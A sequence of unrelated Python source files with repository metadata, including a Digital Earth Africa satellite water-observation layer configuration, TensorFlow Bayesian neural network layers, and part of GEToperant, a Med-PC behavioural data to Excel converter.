from ows_refactored.common.ows_reslim_cfg import reslim_wofs, reslim_wofs_daily from ows_refactored.wofs.band_wofs_cfg import (bands_wofs_2_annual_summary, bands_wofs_obs) from ows_refactored.wofs.style_wofs_cfg import ( style_wofs_annual_summary_frequency, style_wofs_annual_summary_frequency_blue, style_wofs_beta_summary_clear, style_wofs_count_wet, style_wofs_frequency, style_wofs_frequency_blue, style_wofs_obs, style_wofs_obs_wet_only, style_wofs_summary_clear, style_wofs_water_annual_wet) layers = { "title": "Water Observations from Space (Beta)", "abstract": """WOfS""", "layers": [ { "title": "Water Observations from Space Feature Layer (Beta)", "name": "ga_ls8c_wofs_2", "abstract": """ Water Observations from Space (WOfS) provides surface water observations derived from satellite imagery for all of Africa. The WOfS product allows users to get a better understanding of where water is normally present in a landscape, where water is seldom observed, and where inundation has occurred occasionally. Data is provided as Water Observation Feature Layers (WOFLs), in a 1 to 1 relationship with the input satellite data. Hence there is one WOFL for each satellite dataset processed for the occurrence of water. This product has a spatial resolution of 30 m and a temporal coverage of 2013 to 2019. It is derived from Landsat 8 satellite observations as part of a provisional Landsat Collection 2 surface reflectance product. Daily water observations can be used to map historical flood and to understand surface water dynamics. WOfS shows surface water on the day and time that satellite passed overhead, which might be before, during or after a flood peak. Given the time between satellite passes (approximately once every 16 days) it is unlikely that the satellite will capture the maximum extent of any given flood. Instead, it aims to provide large scale, regional information on surface water. For more information on the algorithm, see https://doi.org/10.1016/j.rse.2015.11.003 This product is accessible through OGC Web Service (https://ows.digitalearth.africa/), for analysis in DE Africa Sandbox JupyterLab (https://github.com/digitalearthafrica/deafrica-sandbox-notebooks/wiki) and for direct download from AWS S3 (https://data.digitalearth.africa/). """, "product_name": "ga_ls8c_wofs_2", "bands": bands_wofs_obs, "resource_limits": reslim_wofs_daily, "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_bitflag", "always_fetch_bands": [], "manual_merge": False, }, "wcs": { "native_crs": "EPSG:4326", "native_resolution": [30.0, -30.0], "default_bands": ["water"], }, "styling": { "default_style": "observations", "styles": [ style_wofs_obs, style_wofs_obs_wet_only, ], }, }, { "title": "Water Observations from Space Annual Summary (Beta)", "name": "wofs_2_annual_summary_frequency", "abstract": """ Annual water summary is one of the statistical summaries of the Water Observation from Space (WOfS) product that shows what percentage of clear observations were detected as wet (ie. the ration of wet to clear as a percentage) from each calendar year. This product has a spatial resolution of 30 m and a temporal coverage of 2013 to 2019. It is derived from Landsat 8 satellite observations as part of a provisional Landsat Collection 2 surface reflectance product. The annual summaries can be used to understand year to year changes in surface water extent. WOfS shows surface water on the day and time that satellite passed overhead, which might be before, during or after a flood peak. Given the time between satellite passes (approximately once every 16 days) it is unlikely that the satellite will capture the maximum extent of any given flood. Instead, it aims to provide large scale, regional information on surface water. For more information on the algorithm, see https://doi.org/10.1016/j.rse.2015.11.003 This product is accessible through OGC Web Service (https://ows.digitalearth.africa/), for analysis in DE Africa Sandbox JupyterLab (https://github.com/digitalearthafrica/deafrica-sandbox-notebooks/wiki) and for direct download from AWS S3 (https://data.digitalearth.africa/). """, "product_name": "ga_ls8c_wofs_2_annual_summary", "time_resolution": "year", "bands": bands_wofs_2_annual_summary, "resource_limits": reslim_wofs, "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, }, "wcs": { "native_crs": "EPSG:6933", "native_resolution": [30.0, -30.0], "default_bands": ["frequency"], }, "styling": { "default_style": "WOfS_frequency", "styles": [ style_wofs_annual_summary_frequency, style_wofs_annual_summary_frequency_blue, ], }, }, { "title": "Water Observations from Space Annual Count of Wet Observations (Beta)", "name": "wofs_2_annual_summary_wet", "abstract": """ The count of wet observations is one of the statistical summaries of the Water Observation from Space (WOfS) product that shows how many times water was detected in observations that were clear. This product was used as a source layer for calculating annual water summary. This product has a spatial resolution of 30 m and a temporal coverage of 2013 to 2019. It is derived from Landsat 8 satellite observations as part of a provisional Landsat Collection 2 surface reflectance product. For more information on the algorithm, see https://doi.org/10.1016/j.rse.2015.11.003 This product is accessible through OGC Web Service (https://ows.digitalearth.africa/), for analysis in DE Africa Sandbox JupyterLab (https://github.com/digitalearthafrica/deafrica-sandbox-notebooks/wiki) and for direct download from AWS S3 (https://data.digitalearth.africa/). """, "product_name": "ga_ls8c_wofs_2_annual_summary", "time_resolution": "year", "bands": bands_wofs_2_annual_summary, "resource_limits": reslim_wofs, "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, }, "wcs": { "native_crs": "EPSG:6933", "native_resolution": [30.0, -30.0], "default_bands": ["count_wet"], }, "styling": { "default_style": "water_observations", "styles": [ style_wofs_water_annual_wet, ], }, }, { "title": "Water Observations from Space Annual Count of Clear Observations (Beta)", "name": "wofs_2_annual_summary_clear", "abstract": """ The count of clear observations is one of the statistical summaries of the Water Observations from Space (WOfS) product that shows how many times an area could be clearly seen (I.e. not affected by clouds, shadows or other satellite observation problems). This product was used as a source layer for calculating annual water summary. This product has a spatial resolution of 30 m and a temporal coverage of 2013 to 2019. It is derived from Landsat 8 satellite observations as part of a provisional Landsat Collection 2 surface reflectance product. For more information on the algorithm, see https://doi.org/10.1016/j.rse.2015.11.003 This product is accessible through OGC Web Service (https://ows.digitalearth.africa/), for analysis in DE Africa Sandbox JupyterLab (https://github.com/digitalearthafrica/deafrica-sandbox-notebooks/wiki) and for direct download from AWS S3 (https://data.digitalearth.africa/). """, "product_name": "ga_ls8c_wofs_2_annual_summary", "time_resolution": "year", "bands": bands_wofs_2_annual_summary, "resource_limits": reslim_wofs, "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, }, "wcs": { "native_crs": "EPSG:6933", "native_resolution": [30.0, -30.0], "default_bands": ["count_clear"], }, "styling": { "default_style": "annual_clear_observations", "styles": [ style_wofs_beta_summary_clear, ], }, }, { "title": "Water Observations from Space All Time Summary (Beta)", "name": "wofs_2_summary_frequency", "abstract": """ All time water summary is one of the statistical summaries of the Water Observation from Space (WOfS) product that shows what percentage of clear observations were detected as wet (ie. the ration of wet to clear as a percentage) over time. This product has a spatial resolution of 30 m and a temporal coverage of 2013 to 2019. It is derived from Landsat 8 satellite observations as part of a provisional Landsat Collection 2 surface reflectance product. All time water summary can be used to understand water availability and flooding risk in a historical context. WOfS shows surface water on the day and time that satellite passed overhead, which might be before, during or after a flood peak. Given the time between satellite passes (approximately once every 16 days) it is unlikely that the satellite will capture the maximum extent of any given flood. Instead, it aims to provide large scale, regional information on surface water. For more information on the algorithm, see https://doi.org/10.1016/j.rse.2015.11.003 This product is accessible through OGC Web Service (https://ows.digitalearth.africa/), for analysis in DE Africa Sandbox JupyterLab (https://github.com/digitalearthafrica/deafrica-sandbox-notebooks/wiki) and for direct download from AWS S3 (https://data.digitalearth.africa/). """, "product_name": "ga_ls8c_wofs_2_summary", "bands": bands_wofs_2_annual_summary, "time_resolution": "year", "resource_limits": reslim_wofs, "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, }, "wcs": { "native_crs": "EPSG:6933", "native_resolution": [30.0, -30.0], "default_bands": ["frequency"], }, "styling": { "default_style": "WOfS_frequency", "styles": [ style_wofs_frequency, style_wofs_frequency_blue, ], }, }, { "title": "Water Observations from Space All Time Count of Wet Observations (Beta)", "name": "wofs_2_summary_wet", "abstract": """ The count of wet observations is one of the statistical summaries of the Water Observation from Space (WOfS) product that shows how many times water was detected in observations that were clear. This product was used as a source layer for calculating all time water summary. This product has a spatial resolution of 30 m and a temporal coverage of 2013 to 2019. It is derived from Landsat 8 satellite observations as part of a provisional Landsat Collection 2 surface reflectance product. For more information on the algorithm, see https://doi.org/10.1016/j.rse.2015.11.003 This product is accessible through OGC Web Service (https://ows.digitalearth.africa/), for analysis in DE Africa Sandbox JupyterLab (https://github.com/digitalearthafrica/deafrica-sandbox-notebooks/wiki) and for direct download from AWS S3 (https://data.digitalearth.africa/). """, "product_name": "ga_ls8c_wofs_2_summary", "time_resolution": "year", "bands": bands_wofs_2_annual_summary, "resource_limits": reslim_wofs, "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, }, "wcs": { "native_crs": "EPSG:6933", "native_resolution": [30.0, -30.0], "default_bands": ["count_wet"], }, "styling": { "default_style": "water_observations", "styles": [ style_wofs_count_wet, ], }, }, { "title": "Water Observations from Space All Time Count of Clear Observations (Beta)", "name": "wofs_2_summary_clear", "abstract": """ The count of clear observations is one of the statistical summaries of the Water Observations from Space (WOfS) product that shows how many times an area could be clearly seen (I.e. not affected by clouds, shadows or other satellite observation problems). This product was used as a source layer for calculating all time water summary. This product has a spatial resolution of 30 m and a temporal coverage of 2013 to 2019. It is derived from Landsat 8 satellite observations as part of a provisional Landsat Collection 2 surface reflectance product. For more information on the algorithm, see https://doi.org/10.1016/j.rse.2015.11.003 This product is accessible through OGC Web Service (https://ows.digitalearth.africa/), for analysis in DE Africa Sandbox JupyterLab (https://github.com/digitalearthafrica/deafrica-sandbox-notebooks/wiki) and for direct download from AWS S3 (https://data.digitalearth.africa/). """, "product_name": "ga_ls8c_wofs_2_summary", "bands": bands_wofs_2_annual_summary, "resource_limits": reslim_wofs, "time_resolution": "year", "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, }, "wcs": { "native_crs": "EPSG:6933", "native_resolution": [30.0, -30.0], "default_bands": ["count_clear"], }, "styling": { "default_style": "annual_clear_observations", "styles": [ style_wofs_summary_clear, ], }, }, ], }

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py

Python

conftest.py

luismayta/python-example-elasticsearch

4572b03c425f525094d5892ef8c625cfa991174a

[ "MIT" ]

4

2019-08-04T19:23:39.000Z

2021-04-10T08:26:44.000Z

conftest.py

luismayta/python-example-elasticsearch

4572b03c425f525094d5892ef8c625cfa991174a

[ "MIT" ]

3

2019-07-08T20:08:02.000Z

2019-07-09T19:47:25.000Z

conftest.py

luismayta/python-example-elasticsearch

4572b03c425f525094d5892ef8c625cfa991174a

[ "MIT" ]

1

2019-08-05T05:15:26.000Z

# -*- coding: utf-8 -*- from blog.fixtures.core import * # noqa pylint: disable=W0614,W0401 from blog.fixtures.db import * # noqa pylint: disable=W0614,W0401 from blog.fixtures.data import * # noqa pylint: disable=W0614,W0401

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268

py

Python

cekit/generator/behave.py

nalind/cekit

f54345bb2c0f38c19adb7b8afa9272b9264591a9

[ "MIT" ]

1

2018-01-17T16:11:57.000Z

cekit/generator/behave.py

nalind/cekit

f54345bb2c0f38c19adb7b8afa9272b9264591a9

[ "MIT" ]

39

2017-12-12T09:32:33.000Z

2018-02-27T16:04:48.000Z

cekit/generator/behave.py

nalind/cekit

f54345bb2c0f38c19adb7b8afa9272b9264591a9

[ "MIT" ]

2

2017-12-14T17:10:47.000Z

2018-01-08T19:16:21.000Z

from cekit.generator.base import Generator class BehaveGenerator(Generator): def __init__(self, descriptor_path, target, overrides): super(BehaveGenerator, self).__init__(descriptor_path, target, overrides) def prepare_artifacts(self): pass

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caac437b6e003093294629c1fe986cff030f822c

114

py

Python

more_autograding_examples/python_multipart_static_analysis/submissions/p3_bug.py

elihschiff/Submitty

8b980997b6f1dfcd73eb4cf4cca43398e67f96dc

[ "BSD-3-Clause" ]

411

2016-06-14T20:52:25.000Z

2022-03-31T21:20:25.000Z

more_autograding_examples/python_multipart_static_analysis/submissions/p3_bug.py

KaelanWillauer/Submitty

cf9b6ceda15ec0a661e2ca81ea7864790094c64a

[ "BSD-3-Clause" ]

5,730

2016-05-23T21:04:32.000Z

2022-03-31T10:08:06.000Z

more_autograding_examples/python_multipart_static_analysis/submissions/p3_bug.py

KaelanWillauer/Submitty

cf9b6ceda15ec0a661e2ca81ea7864790094c64a

[ "BSD-3-Clause" ]

423

2016-09-22T21:11:30.000Z

2022-03-29T18:55:28.000Z

volume = 5 * 16.5 * 12.5 area = 2*5*16.5 + 2*5*12.5 + 2*16.5*12.5 print('volume =', volume) print('area =', area)

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cac51a734134771bbd81451317dd47c25ee845b1

179

py

Python

helloFunc.py

treva-123mutebi/Simple-Python-Programs

e9c89248a30deaf6f06db0c280aae8363b682317

[ "Unlicense" ]

null

helloFunc.py

treva-123mutebi/Simple-Python-Programs

e9c89248a30deaf6f06db0c280aae8363b682317

[ "Unlicense" ]

null

helloFunc.py

treva-123mutebi/Simple-Python-Programs

e9c89248a30deaf6f06db0c280aae8363b682317

[ "Unlicense" ]

null

def hello(): ##defines the function print('Howdy!') ##body of the function print('Howdy!!!') print('Hello there.') hello() ##function calls hello() hello()

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py

Python

src/model/layers.py

divyam3897/ANP_VS

237dc06e1170394bdcc3bd7467cc0355232eaa6c

[ "MIT" ]

19

2020-06-30T15:46:07.000Z

2022-02-28T03:29:55.000Z

src/model/layers.py

divyam3897/ANP_VS

237dc06e1170394bdcc3bd7467cc0355232eaa6c

[ "MIT" ]

2

2020-07-04T10:56:05.000Z

2020-07-04T10:56:36.000Z

src/model/layers.py

divyam3897/ANP_VS

237dc06e1170394bdcc3bd7467cc0355232eaa6c

[ "MIT" ]

1

2021-07-20T12:59:50.000Z

import tensorflow as tf import numpy as np import math exp = tf.exp log = lambda x: tf.log(x + 1e-20) logit = lambda x: log(x) - log(1 - x) softplus = tf.nn.softplus softmax = tf.nn.softmax tanh = tf.nn.tanh relu = tf.nn.relu sigmoid = tf.nn.sigmoid flatten = tf.layers.flatten class Dense(object): def __init__(self, n_in, n_out, name='dense', reuse=None): with tf.variable_scope(name, reuse=reuse): self.W = tf.get_variable('W', shape=[n_in, n_out]) self.b = tf.get_variable('b', shape=[n_out]) def __call__(self, x, activation=None, in_mask=None, out_mask=None): W = self.W if in_mask is None else \ tf.gather(self.W, in_mask, axis=0) W = W if out_mask is None else \ tf.gather(W, out_mask, axis=1) b = self.b if out_mask is None else tf.gather(self.b, out_mask) x = tf.matmul(x, W) + b x = x if activation is None else activation(x) return x def params(self, trainable=None): return [self.W, self.b] class DenseBayes(object): def __init__(self, sigma_prior, n_in, n_out, init_rho=None, name='dense_bayes', reuse=None): self.sigma_prior = sigma_prior limit = 1.0 / math.sqrt(n_in) with tf.variable_scope(name, reuse=reuse): self.mu_w = tf.get_variable('mu_w', shape=[n_in, n_out], initializer=tf.initializers.random_uniform( -limit, limit), dtype=tf.float32) self.mu_b = tf.get_variable('mu_b', shape=[n_out], initializer=tf.initializers.random_uniform( -limit, limit), dtype=tf.float32) self.epsilon_w = tf.random.normal(shape=[n_in, n_out], mean=0., stddev=1.) self.epsilon_b = tf.random.normal(shape=[n_out], mean=0., stddev=1.) if init_rho is None: self.rho_w = tf.get_variable('rho_w', shape=[n_in, n_out], dtype=tf.float32) self.rho_b = tf.get_variable('rho_b', shape=[n_out], dtype=tf.float32) else: self.rho_w = tf.get_variable( 'rho_w', shape=[n_in, n_out], initializer=tf.constant_initializer(value=init_rho), dtype=tf.float32) self.rho_b = tf.get_variable( 'rho_b', shape=[n_out], initializer=tf.constant_initializer(value=init_rho), dtype=tf.float32) self.sigma_w = softplus(self.rho_w) self.sigma_b = softplus(self.rho_b) def __call__(self, x, train, activation=None, in_mask=None, out_mask=None): if train: self.W = self.mu_w + tf.multiply(self.sigma_w, self.epsilon_w) self.b = self.mu_b + tf.multiply(self.sigma_b, self.epsilon_b) else: self.W = self.mu_w self.b = self.mu_b W = self.W if in_mask is None else \ tf.gather(self.W, in_mask, axis=2) W = W if out_mask is None else \ tf.gather(self.b, out_mask, axis=3) b = self.b if out_mask is None else \ tf.gather(self.b, out_mask) x = tf.matmul(x, W) + b x = x if activation is None else activation(x) return x def kl(self): kl_W = log(tf.divide(self.sigma_prior, self.sigma_w)) + (tf.square(self.sigma_w) + \ tf.square(self.mu_w)) / (2 * tf.square(self.sigma_prior)) - 0.5 kl_b = log(tf.divide( self.sigma_prior, self.sigma_b)) + (tf.square(self.sigma_b) + tf.square( self.mu_b)) / (2 * tf.square(self.sigma_prior)) - 0.5 kl = tf.reduce_sum(kl_W) + tf.reduce_sum(kl_b) return kl def params(self, trainable=None): return [self.mu_w, self.rho_w, self.mu_b, self.rho_b] class Conv(object): def __init__(self, n_in, n_out, kernel_size, strides=1, padding='VALID', name='conv', reuse=None): with tf.variable_scope(name, reuse=reuse): self.W = tf.get_variable('W', shape=[kernel_size, kernel_size, n_in, n_out]) self.b = tf.get_variable('b', shape=[n_out]) self.strides = 1 self.padding = padding def __call__(self, x, activation=None, in_mask=None, out_mask=None): W = self.W if in_mask is None else \ tf.gather(self.W, in_mask, axis=2) W = W if out_mask is None else \ tf.gather(self.b, out_mask, axis=3) b = self.b if out_mask is None else \ tf.gather(self.b, out_mask) x = tf.nn.conv2d(x, W, strides=[1, 1, self.strides, self.strides], padding=self.padding, data_format='NCHW') x = tf.nn.bias_add(x, b, data_format='NCHW') x = x if activation is None else activation(x) return x def params(self, trainable=None): return [self.W, self.b] class ConvBayes(object): def __init__(self, sigma_prior, n_in, n_out, kernel_size, init_rho=None, strides=1, padding='VALID', name='conv_bayes', reuse=None): self.strides = 1 self.padding = padding self.sigma_prior = sigma_prior self.kernel_size = kernel_size limit = 1.0 / math.sqrt(n_in * kernel_size**2) with tf.variable_scope(name, reuse=reuse): self.mu_w = tf.get_variable('mu_w', shape=[kernel_size, kernel_size, n_in, n_out], initializer=tf.initializers.random_uniform( -limit, limit), dtype=tf.float32) self.mu_b = tf.get_variable('mu_b', shape=[n_out], initializer=tf.initializers.random_uniform( -limit, limit), dtype=tf.float32) self.epsilon_w = tf.random.normal( shape=[kernel_size, kernel_size, n_in, n_out], mean=0., stddev=1.) self.epsilon_b = tf.random.normal(shape=[n_out], mean=0., stddev=1.) if init_rho is None: self.rho_w = tf.get_variable( 'rho_w', shape=[kernel_size, kernel_size, n_in, n_out], dtype=tf.float32) self.rho_b = tf.get_variable('rho_b', shape=[n_out], dtype=tf.float32) else: self.rho_w = tf.get_variable( 'rho_w', shape=[kernel_size, kernel_size, n_in, n_out], initializer=tf.constant_initializer(value=init_rho), dtype=tf.float32) self.rho_b = tf.get_variable( 'rho_b', shape=[n_out], initializer=tf.constant_initializer(value=init_rho), dtype=tf.float32) self.sigma_w = softplus(self.rho_w) self.sigma_b = softplus(self.rho_b) def __call__(self, x, train, activation=None, in_mask=None, out_mask=None): if train: self.W = self.mu_w + tf.multiply(self.sigma_w, self.epsilon_w) self.b = self.mu_b + tf.multiply(self.sigma_b, self.epsilon_b) else: self.W = self.mu_w self.b = self.mu_b W = self.W if in_mask is None else \ tf.gather(self.W, in_mask, axis=2) W = W if out_mask is None else \ tf.gather(self.b, out_mask, axis=3) b = self.b if out_mask is None else \ tf.gather(self.b, out_mask) x = tf.nn.conv2d(x, W, strides=[1, 1, self.strides, self.strides], padding=self.padding, data_format='NCHW') x = tf.nn.bias_add(x, b, data_format='NCHW') x = x if activation is None else activation(x) return x def kl(self): kl_W = log(tf.divide(self.sigma_prior, self.sigma_w)) + (tf.square(self.sigma_w) + \ tf.square(self.mu_w)) / (2 * tf.square(self.sigma_prior)) - 0.5 kl_b = log(tf.divide(self.sigma_prior, self.sigma_b)) + (tf.square(self.sigma_b) + \ tf.square(self.mu_b)) / (2 * tf.square(self.sigma_prior)) - 0.5 kl = tf.reduce_sum(kl_W) + tf.reduce_sum(kl_b) return kl def params(self, trainable=None): return [self.mu_w, self.rho_w, self.mu_b, self.rho_b] class BatchNorm(object): def __init__(self, n_in, momentum=0.99, beta_initializer=tf.zeros_initializer(), gamma_initializer=tf.ones_initializer(), name='batch_norm', reuse=None): self.momentum = momentum with tf.variable_scope(name, reuse=reuse): self.moving_mean = tf.get_variable('moving_mean', [n_in], initializer=tf.zeros_initializer(), trainable=False) self.moving_var = tf.get_variable('moving_var', [n_in], initializer=tf.ones_initializer(), trainable=False) self.beta = tf.get_variable('beta', [n_in], initializer=beta_initializer) self.gamma = tf.get_variable('gamma', [n_in], initializer=gamma_initializer) def __call__(self, x, train, mask=None): beta = self.beta if mask is None else tf.gather(self.beta, mask) gamma = self.gamma if mask is None else tf.gather(self.gamma, mask) moving_mean = self.moving_mean if mask is None \ else tf.gather(self.moving_mean, mask) moving_var = self.moving_var if mask is None \ else tf.gather(self.moving_var, mask) if train: if len(x.shape) == 4: x, batch_mean, batch_var = tf.nn.fused_batch_norm(x, gamma, beta, data_format='NCHW') else: batch_mean, batch_var = tf.nn.moments(x, [0]) x = tf.nn.batch_normalization(x, batch_mean, batch_var, beta, gamma, 1e-3) tf.add_to_collection( tf.GraphKeys.UPDATE_OPS, moving_mean.assign_sub( (1 - self.momentum) * (moving_mean - batch_mean))) tf.add_to_collection( tf.GraphKeys.UPDATE_OPS, moving_var.assign_sub((1 - self.momentum) * (moving_var - batch_var))) else: if len(x.shape) == 4: x, batch_mean, batch_var = tf.nn.fused_batch_norm(x, gamma, beta, mean=moving_mean, variance=moving_var, is_training=False, data_format='NCHW') else: x = tf.nn.batch_normalization(x, moving_mean, moving_var, beta, gamma, 1e-3) return x def params(self, trainable=None): params = [self.beta, self.gamma] params = params + [self.moving_mean, self.moving_var] \ if trainable is None else params return params class BatchNormBayes(object): def __init__(self, sigma_prior, n_in, init_rho=None, momentum=0.99, beta_initializer=tf.zeros_initializer(), gamma_initializer=tf.ones_initializer(), name='batch_norm_bayes', reuse=None): self.momentum = momentum self.sigma_prior = sigma_prior with tf.variable_scope(name, reuse=reuse): self.moving_mean = tf.get_variable('moving_mean', [n_in], initializer=tf.zeros_initializer(), trainable=False) self.moving_var = tf.get_variable('moving_var', [n_in], initializer=tf.ones_initializer(), trainable=False) self.mu_gamma = tf.get_variable( 'mu_gamma', shape=[n_in], initializer=tf.initializers.random_uniform(0, 1)) self.mu_beta = tf.get_variable('mu_beta', shape=[n_in], initializer=tf.zeros_initializer()) self.epsilon_gamma = tf.random.normal(shape=[n_in], mean=0., stddev=1.) self.epsilon_beta = tf.random.normal(shape=[n_in], mean=0., stddev=1.) if init_rho is None: self.rho_gamma = tf.get_variable('rho_gamma', shape=[n_in]) self.rho_beta = tf.get_variable('rho_beta', shape=[n_in]) else: self.rho_gamma = tf.get_variable( 'rho_gamma', shape=[n_in], initializer=tf.constant_initializer(value=init_rho)) self.rho_beta = tf.get_variable( 'rho_beta', shape=[n_in], initializer=tf.constant_initializer(value=init_rho)) self.sigma_gamma = softplus(self.rho_gamma) self.sigma_beta = softplus(self.rho_beta) def __call__(self, x, train, mask=None): if train: self.gamma = self.mu_gamma + tf.multiply(self.sigma_gamma, self.epsilon_gamma) self.beta = self.mu_beta + tf.multiply(self.sigma_beta, self.epsilon_beta) else: self.gamma = self.mu_gamma self.beta = self.mu_beta beta = self.beta if mask is None else tf.gather(self.beta, mask) gamma = self.gamma if mask is None else tf.gather(self.gamma, mask) moving_mean = self.moving_mean if mask is None \ else tf.gather(self.moving_mean, mask) moving_var = self.moving_var if mask is None \ else tf.gather(self.moving_var, mask) if train: if len(x.shape) == 4: x, batch_mean, batch_var = tf.nn.fused_batch_norm(x, gamma, beta, data_format='NCHW') else: batch_mean, batch_var = tf.nn.moments(x, [0]) x = tf.nn.batch_normalization(x, batch_mean, batch_var, beta, gamma, 1e-3) tf.add_to_collection( tf.GraphKeys.UPDATE_OPS, moving_mean.assign_sub( (1 - self.momentum) * (moving_mean - batch_mean))) tf.add_to_collection( tf.GraphKeys.UPDATE_OPS, moving_var.assign_sub((1 - self.momentum) * (moving_var - batch_var))) else: if len(x.shape) == 4: x, batch_mean, batch_var = tf.nn.fused_batch_norm(x, gamma, beta, mean=moving_mean, variance=moving_var, is_training=False, data_format='NCHW') else: x = tf.nn.batch_normalization(x, moving_mean, moving_var, beta, gamma, 1e-3) return x def kl(self): kl_gamma = log(tf.divide(self.sigma_prior, self.sigma_gamma)) + (tf.square(self.sigma_gamma) + \ tf.square(self.mu_gamma)) / (2 * tf.square(self.sigma_prior)) - 0.5 kl_beta = log(tf.divide(self.sigma_prior, self.sigma_beta)) + (tf.square(self.sigma_beta) + \ tf.square(self.mu_beta)) / (2 * tf.square(self.sigma_prior)) - 0.5 kl = tf.reduce_sum(kl_gamma) + tf.reduce_sum(kl_beta) return kl def params(self, trainable=None): params = [self.mu_gamma, self.rho_gamma, self.mu_beta, self.rho_beta] params = params + [self.moving_mean, self.moving_var] \ if trainable is None else params return params def pool(x, **kwargs): return tf.layers.max_pooling2d(x, 2, 2, data_format='channels_first', **kwargs) def global_avg_pool(x): return tf.reduce_mean(x, axis=[2, 3])

39.582339

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0.062179

0.045774

0.044078

0.033907

0.888593

0.864737

0.820659

0.80092

0.78324

0.777549

0

0.01063

0.364727

16,585

418

101

39.677033

0.773159

0

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null

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1

0

1

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null

0

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cafe897840c87ee8b5332d33cbbded213d40b490

46,190

py

Python

GEToperant.py

SKhoo/GEToperant

811860ad9237256edc75f6fec65b5d3608301648

[ "MIT" ]

1

2021-11-15T19:37:09.000Z

GEToperant.py

SKhoo/GEToperant

811860ad9237256edc75f6fec65b5d3608301648

[ "MIT" ]

null

GEToperant.py

SKhoo/GEToperant

811860ad9237256edc75f6fec65b5d3608301648

[ "MIT" ]

2

2019-08-04T12:05:35.000Z

2021-12-01T17:57:18.000Z

### This program will collected Med PC data files and match them to a data profile for saving to an excel workbook. ### Preconditions: All data files must have the same structure and fit the same profile. ### It is recommended to open either multiple files with single subjects or one file with multiple subjects. ### Where an MSN has not used the Y2KCOMPLIANT command, the data was collected in the 21st century. import xlrd from openpyxl import load_workbook import xlsxwriter import re import itertools def convertMRP(GETprofile, profileexport): rowprofile = open(GETprofile, 'r').readlines() Label = list() LabelStartValue = list() LabelIncrement = list() ArrayVar = list() StartElement = list() ArrayIncrement = list() StopElement = list() for i in range(0, len(rowprofile), 2): ### For each label in the MRP, decide if it is a data value, if so, then import it row_check = re.search(r'\D$\d+$', rowprofile[i+1]) if row_check != None: Label.append(rowprofile[i][:-1]) LabelStartValue.append(None) LabelIncrement.append(None) ArrayVar.append(rowprofile[i+1][0]) StartElement.append(int(re.search(r'\d+', rowprofile[i+1]).group(0))) ArrayIncrement.append(0) StopElement.append(None) elif 'comment' in rowprofile[i+1].lower(): Label.append(rowprofile[i][:-1]) LabelStartValue.append(None) LabelIncrement.append(None) ArrayVar.append('Comments') StartElement.append(0) ArrayIncrement.append(0) StopElement.append(None) output = xlsxwriter.Workbook(profileexport) output.set_properties({ 'title': 'GEToperant Profile', 'subject': 'Animal behaviour', 'comments': 'MPC2XL Row Profile converted for use with GEToperant. https://github.com/SKhoo/GEToperant' }) mainsheet = output.add_worksheet('GEToperant Profile') mainsheet.set_column('A:A', 25) mainsheet.set_column('B:G', 15) mainsheet.write(0, 0, 'Label') mainsheet.write(0, 1, 'Label Start Value') mainsheet.write(0, 2, 'Label Increment') mainsheet.write(0, 3, 'Array/Variable') mainsheet.write(0, 4, 'Start Element') mainsheet.write(0, 5, 'Increment Element') mainsheet.write(0, 6, 'Stop Element') mainsheet.write(0, 7, 'Converted file: ' + GETprofile) mainsheet.write(1, 7, 'Label tells the program what the name the data point') mainsheet.write(2, 7, 'Array/Variable tells the program where to look for the data') mainsheet.write(3, 7, 'Start Element tells the program which element to extract for that label') mainsheet.write(4, 7, 'Increment Element tells the program if more elements need to be extracted from an array, and if so, whether to collect every element, or every nth element.') mainsheet.write(5, 7, 'Stop Element tells the program when to stop extracting elements from an array. It is not needed if only collecting 1 element') mainsheet.write(6, 7, 'Label Start Value and Label Increment can be used to increment a label that is used for multiple elements') for i in range(len(Label)): mainsheet.write(i+1, 0, Label[i]) mainsheet.write(i+1, 1, LabelStartValue[i]) mainsheet.write(i+1, 2, LabelIncrement[i]) mainsheet.write(i+1, 3, ArrayVar[i]) mainsheet.write(i+1, 4, StartElement[i]) mainsheet.write(i+1, 5, ArrayIncrement[i]) mainsheet.write(i+1, 6, StopElement[i]) output.close() ### The main function def GEToperant(GETprofile, MPCdatafiles, outputfile, exportfilename = 1, exportstartdate = 1, exportenddate = 1, exportsubject = 1, exportexperiment = 1, exportgroup = 1, exportbox = 1, exportstarttime = 1, exportendtime = 1, exportmsn = 1, mode = 'Main'): ''' GEToperant takes three main arguments: GETprofile, which must be an Excel file MPCdatafiles, which must be a list of one or more Med-PC data files outputfile, which must be an Excel file It takes another 10 arguments relating to what headers to export and how to export the data. GEToperant will read the data from the MPCdatafiles and will output the headers and the data described in GETprofile. It will save this in the Excel file specified by outputfile. Preconditions: The profile must be a GEToperant profile or MRP. If writing to 'Sheets', the file names cannot have illegal characters: ' [ ] : * ? / \ ' ''' ### This first part will read the data profile and develop a series of lists Label = list() LabelStartValue = list() LabelIncrement = list() ArrayVar = list() StartElement = list() ArrayIncrement = list() StopElement = list() if 'xlsx' in GETprofile[-4:].lower(): ### Import an Excel-based GEToperant profile profile_xl = load_workbook(GETprofile) profilesheet = profile_xl.active for cell in profilesheet["A"]: Label.append(cell.value) for cell in profilesheet["B"]: LabelStartValue.append(cell.value) for cell in profilesheet["C"]: LabelIncrement.append(cell.value) for cell in profilesheet["D"]: ArrayVar.append(cell.value) for cell in profilesheet["E"]: StartElement.append(cell.value) for cell in profilesheet["F"]: ArrayIncrement.append(cell.value) for cell in profilesheet["G"]: StopElement.append(cell.value) Label = Label[1:] LabelStartValue = LabelStartValue[1:] LabelIncrement = LabelIncrement[1:] ArrayVar = ArrayVar[1:] StartElement = StartElement[1:] ArrayIncrement = ArrayIncrement[1:] StopElement = StopElement[1:] elif 'xls' in GETprofile[-3:].lower(): ### Import an Excel-based GEToperant profile in an older Excel file profile_xl = xlrd.open_workbook(GETprofile) profile_xl_sheets = profile_xl.sheet_names() profilesheet = profile_xl.sheet_by_name(profile_xl_sheets[0]) for r in 